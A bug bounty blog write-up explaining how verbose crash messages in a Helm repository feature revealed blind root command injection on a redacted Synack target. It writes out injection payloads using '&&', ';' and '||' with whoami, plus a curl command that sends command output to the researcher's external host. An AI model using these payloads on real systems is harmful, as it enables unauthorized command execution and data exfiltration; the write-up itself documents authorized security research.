• Twitter
  • FB
  • Github
  • Youtube

Thursday, January 28, 2021

Analysing crash messages to achieve blind root command injection

 



About the Write-up:

Greetings everyone, this is Shawar Khan and today I'm going to share one of my recently discovery which is quite interesting. This is basically a Command injection vulnerability that I found in a Synack target a few days back so I'll try to cover target for client's privacy. I'll be referring the target as redacted.com / Redacted Org.

So, I tested a target on Synack and got some quality reports having IDORs / XSS accepted and I left the program for like a few days. I received a text from a friend who told me he found another IDOR, I was like alright so there are still some vulnerabilities left, I gave the target another try and got some luck.

The Redacted Org had different roles and allowed users to add Helm repositories which were further used for retrieving charts in some functionalities. Helm is a package manager for Kubernetes and allows installation and upgrading of Kubernetes application.


Keeping track of everything:

I'll try to cover common questions that I'm mostly asked in this write-up as well one of which is how I start testing an application. Whenever I'm testing an application my first step is to map all the functionalities available in an application. This includes mapping all the functions from the UI and functions/endpoints that are found from JS files. Keeping Burp Suite connected all the time helps tracking and extracting endpoints and pages properly.

After this step, I try to use and fiddle every functionality to collect different responses and behaviors which I can later observe and analyze from Burp History.

Analyzing repository management feature:

The application was having a Settings page which allows authenticated users to add Helm repositories. The page was taking inputs such as URL, name, username, password and some other fields. 



At that moment I tried to test for SSRF but as soon as I clicked Saved, nothing happened. I thought there might be some function which would use this repository for performing actions such as retrieving repository and installing applications from our specified repository. At this point I used a remote host having Apache service running to see if I can retrieve any ping backs. I named my repo zzzztest123.

Finding features that uses Helm Repository:

After exploring the application and checking each and every feature I came across a feature that allows a user to create applications so I created a test application named anythinghere1:



After scrolling down on the application page, I found a feature that had the title Charts and this was obvious that It was used for loading charts from a specified repository. I tried using my repository name zzzztest123 with an invalid chart name to see how the application responds.





This feature was quite a mess because if the application is newly created and this feature is used, a request is sent to https://redacted.com/api/sd/catalog/applications/helm but If the feature is used multiple times then requests are made to https://redacted.com/api/sd/catalog/applications/{APPLICATION_ID} where both endpoints are different and are having different request structure and parameters.

Every time I had to change something, I had to recreate an application and perform the same task as mentioned.

So, I used and invalid chart and got the following response:



This error message was fod when I analyzed my burp history, this application didn't shown any visual error or any warning to inform if an error occurred which was quite weird. I properly checked the error message to see whats causing it and found this line:


], 
"operatormessage": [
"CLI Error: \"Ds_chart not found\" It happens when the provided chart is not valid (the system cannot locate it)"
],
"result": "PARTIAL_SUCCESS",
"customermessage": [
"[HELM-001] Chart anythinghere1/sdfasdfdsafa not found"
],
"servicename": "MEC_woot_Catalog_awjiopwoefir_1_HelmChart"
}



What I did next was I created a valid chart and replicated the same request again but got a 201 response but no crash message. I felt something was fishy as the application was quite verbose and was returning huge crash messages. I tried everything to make it crash somehow and analyze error messages.

By simply putting a chart name a request is made from server that tries to receive a file index.yaml and if its a valid file the application returns 201 but If the file is not found the application returns the chart not found error.

I discovered a rare condition which was the main discovery point of this discovery. If we place an empty index.yaml with no content, the application loads a index.yaml but gets in a situation which was not excepted and returns the following error message:

 "result": "PARTIAL_SUCCESS", 
"customermessage": [
"[HELM-011] CLI Error: \"GLOBAL.GenericCLI_Activate(DO_AND_CHECK, ssh://127.0.0.1,
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE CLI SYSTEM \"CLIv4.dtd\">
<CLI dumpDialog=\"yes\">
<Connect protocol=\"ssh\" ssh.allow_host=\"true\" ssh.identity=\"-\" ssh.isEncrypted=\"yes\" ssh.known_hosts=\".ssh/known_hosts\" ssh.password=\"OzTDoyJMLUSREDACTEDA+681rQ==\" ssh.username=\"root\">
<Do description=\"Empty command to speed up connection\">
<Command send_newline=\"no\"/>
<Prompt>.*\\# *$</Prompt>
</Do>
</Connect>
<Disconnect continuationDelay=\"5000\">
<Do description=\"Initiate disconnect\" timeout=\"1\">
<Command continuationDelay=\"5000\" newline_chars=\"\\n\">
exit
</Command>
</Do>
</Disconnect>
<Activate>
<Action description=\"Add Helm repository\">
<Do timeout=\"600\">
<Command newline_chars=\"\\n\">helm repo add zzzztest123 http://myprivatehost.com/</Command>
<Error message=\"Chart repository unauthorized, check username and password.\">
Error.*is not a valid chart repository or cannot be reached.*401 Unauthorized</Error>
<Error message=\"Chart repository not found.\">Error.*is not a valid chart repository or cannot be reached</Error>
<Error message=\"Incorrect protocol defined in repository url.\">
Error.*could not find protocol handler</Error>
<Prompt>.*\\# $</Prompt>
</Do> </Action>
</Activate>
<Rollback>
<Rewind/>
</Rollback>
</CLI>
) : Matched error pattern - command description: [Add Helm repository]
...
...
...



I was quite shocked to see such message as I noticed multiple issues here. The first thing I noticed was the disclosure of  root user password. The application uses CLIv4.dtd file and was an XML request but before that the application connected to SSH on localhost which was indicated by ssh://127.0.0.1. It was like the server tried to connected to localhost and executed a command. In the Command entity I found

helm repo add zzzztest123 http://myprivatehost.com

it was quite weird to see zzzztest123 which is our repository name and the URL I used in the Helm Repository management feature located in the setting. The entities were being used as positional arguments to helm repo add command which was used to add a specific repository to the system. What cause the issue here is how the user-controlled data was passed directly as command without being filtered or something.

Confirming Command Injection:

At this point, I had two options. I could use a command injection payload as repository name or as a URL. This was not possible directly as the repository management page was not allowing special characters so by sending a valid format and tampering parameters I could use special characters to use my payload. 

What I need was to execute another command and the followings were the possibilities:

http://validrepo.com && whoami
http://validrepo.com; whoami 
http://validrepo.com || whoami 

I tried the last one as that would ignore the exception from the first command if it occurs but it runs the second command properly if executed. I tried to see if i could get result of  whoami command somehow.

After setting my repository URL to http://myprivatehost.com || whoami all I got was a 201 response without any kind of command output. At this point I was sure my command was run internally but didn't shown any output as the application was only programmed to handle specific response and if everything goes well it returns 201 so I treated this as a Blind Command Injection.

Got Blind? ... CURL!

I tried running curl to send output of whoami command to my external host to see if my command is being executed blindly. I set my repo URL to "http://anyvalidrepo.com/ || curl http://myprivatehost:80/`whoami`" as this would execute `whoami` command which is wrapped in back-ticks and would sent the result to my private server having apache running.




Created a new application, loaded my new repo, and bingo!




A request was sent to my host at /root where root was the result of whoami command which was executed on the vulnerable application. This confirmed the vulnerability and got accepted in no time!






Conclusions:

Never ignore or skip a target if its tested by many other researchers as most of them would not go to each and every detail as most of the people are rushing for finding common vulnerabilities. Always look for something different unique which no one could though of. Stay persistent when hunting a target as this is the key to success.


You can't expect a bounty rain by putting same efforts as everyone else, think out of the box and go one step further! - Shawar Khan



0 comments:

Post a Comment

Want to contact?

Get in touch with me